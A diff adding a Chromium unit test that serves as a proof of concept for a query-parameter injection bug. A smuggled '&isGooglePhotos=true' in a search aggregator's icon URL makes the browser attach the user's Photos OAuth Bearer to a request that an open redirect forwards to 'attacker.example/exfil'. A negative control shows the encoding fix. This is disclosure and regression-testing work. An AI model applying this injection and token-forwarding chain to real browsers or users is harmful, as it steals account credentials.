diff --git a/chrome/browser/ui/webui/sanitized_image/sanitized_image_source_unittest.cc b/chrome/browser/ui/webui/sanitized_image/sanitized_image_source_unittest.cc index d9d17c26cfec4..57a6b1a0e262c 100644 --- a/chrome/browser/ui/webui/sanitized_image/sanitized_image_source_unittest.cc +++ b/chrome/browser/ui/webui/sanitized_image/sanitized_image_source_unittest.cc @@ -305,6 +305,116 @@ TEST_P(SanitizedImageSourceSigninPromoTest, GooglePhotosImage) { net::HttpRequestHeaders::kAuthorization)); } +// POC: Query-parameter injection via searchbox_icon.ts computeSrc_(). +// +// EnterpriseSearchAggregatorProvider takes `iconUri` verbatim from a +// policy-configured backend's JSON response (only GURL() canonicalisation, +// which preserves '&', '=', '?'). searchbox_handler.cc forwards it to the +// chrome://new-tab-page Realbox WebUI as match.iconUrl. searchbox_icon.ts:472 +// then builds: +// +// `//image?staticEncode=true&encodeType=webp&url=${url}` +// +// with NO encodeURIComponent(). A hostile aggregator can therefore append +// `&isGooglePhotos=true` to its iconUri and have it parsed as a top-level +// chrome://image parameter. With a *.google.com host, SanitizedImageSource +// mints a photos.image.readonly Bearer and attaches it to a fetch of an +// attacker-chosen URL. SimpleURLLoader auto-follows redirects without +// stripping Authorization (net/url_request/redirect_util.cc:83-86), so an +// open redirect on any *.google.com / *.googleusercontent.com / *.ggpht.com +// host forwards the victim's Photos OAuth Bearer to an attacker origin. +// +// This test reproduces the chain from the point the WebUI hits the +// browser process: it builds the chrome://image URL exactly as +// computeSrc_() does for a malicious aggregator iconUri, and asserts that +// the browser attaches the user's Photos Bearer to the attacker-chosen URL. +TEST_F(SanitizedImageSourceTest, SearchboxIconParamInjection_Exploit) { + // 1) Hostile aggregator backend returns this as a CONTENT result's iconUri. + // Note the trailing &isGooglePhotos=true smuggled in the value. + constexpr char kAggregatorIconUri[] = + "https://www.google.com/" + "open-redirect?continue=https://attacker.example/" + "exfil&isGooglePhotos=true"; + + // 2) enterprise_search_aggregator_provider.cc:1204 stores it as + // match.icon_url = GURL(icon_url). GURL canonicalisation preserves + // '&', '=', '?', '/', ':' -- the payload survives. + GURL match_icon_url(kAggregatorIconUri); + ASSERT_TRUE(match_icon_url.is_valid()); + ASSERT_NE(match_icon_url.spec().find("&isGooglePhotos=true"), + std::string::npos); + + // 3) searchbox_handler.cc:787 sends match_icon_url.spec() to the WebUI as + // match.iconUrl (url.mojom.Url is typemapped to a plain TS string). + // searchbox_icon.ts:472 then does: + // return `//image?staticEncode=true&encodeType=webp&url=${url}`; + // -- no encodeURIComponent. The protocol-relative //image resolves to + // chrome://image in the chrome://new-tab-page renderer, and is set as + // at searchbox_icon.html.ts:14. + GURL chrome_image_url(base::StrCat( + {chrome::kChromeUIImageURL, + "?staticEncode=true&encodeType=webp&url=", match_icon_url.spec()})); + + // 4) Precondition from the report: signed-in user. + signin::IdentityTestEnvironment identity_test_env; + identity_test_env.MakePrimaryAccountAvailable("victim@gmail.com", + signin::ConsentLevel::kSignin); + sanitized_image_source_->set_identity_manager_for_test( + identity_test_env.identity_manager()); + + // 5) The WebUI renderer's subresource load reaches the browser-process + // URLDataSource here. + base::MockCallback callback; + sanitized_image_source_->StartDataRequest( + chrome_image_url, content::WebContents::Getter(), callback.Get()); + + // *** INJECTION SUCCEEDED: the smuggled &isGooglePhotos=true was parsed as a + // top-level parameter (the searchbox caller never sets isGooglePhotos), the + // *.google.com host suffix-matched IsGooglePhotosUrl(), and the browser is + // now minting the victim's photos.image.readonly OAuth token for an + // attacker-chosen URL. + ASSERT_TRUE(identity_test_env.IsAccessTokenRequestPending()) + << "Expected the injected &isGooglePhotos=true to cause " + "send_auth_token=true and a Photos OAuth token to be minted."; + + identity_test_env.WaitForAccessTokenRequestIfNecessaryAndRespondWithToken( + "victim-photos-bearer", base::Time::Max()); + + ASSERT_EQ(1, test_url_loader_factory_.NumPending()); + const network::ResourceRequest& req = + test_url_loader_factory_.GetPendingRequest(0)->request; + + // *** CONFUSED-DEPUTY CONFIRMED: the browser attached the victim's Photos + // Bearer to an attacker-chosen *.google.com URL. ParseParams() split on '&', + // so url= was truncated at the first injected '&' and the attacker's open + // redirector at www.google.com receives the credential. SimpleURLLoader will + // auto-follow a 302 from this URL without stripping Authorization (no + // redirect callback is set; net::RedirectUtil::UpdateHttpRequest does not + // implement Fetch step 13 for browser-process loaders). + EXPECT_EQ( + GURL("https://www.google.com/" + "open-redirect?continue=https://attacker.example/exfil"), + req.url); + EXPECT_THAT(req.headers.GetHeader(net::HttpRequestHeaders::kAuthorization), + testing::Optional(std::string("Bearer victim-photos-bearer"))); + + // 6) Negative control: with the root-cause fix (encodeURIComponent in + // computeSrc_()), the same hostile iconUri does NOT mint a token -- + // isGooglePhotos stays inside the encoded url= value and is never seen + // as a top-level key. + url::UriComponentEncoder encoded(match_icon_url.spec()); + sanitized_image_source_->StartDataRequest( + GURL(base::StrCat({chrome::kChromeUIImageURL, + "?staticEncode=true&encodeType=webp&url=", + encoded.view()})), + content::WebContents::Getter(), callback.Get()); + EXPECT_FALSE(identity_test_env.IsAccessTokenRequestPending()); + ASSERT_EQ(2, test_url_loader_factory_.NumPending()); + EXPECT_FALSE( + test_url_loader_factory_.GetPendingRequest(1)->request.headers.HasHeader( + net::HttpRequestHeaders::kAuthorization)); +} + TEST_F(SanitizedImageSourceTest, StaticImage) { const std::string test_body = "abc"; const std::string test_url = "https://foo.com/img.png";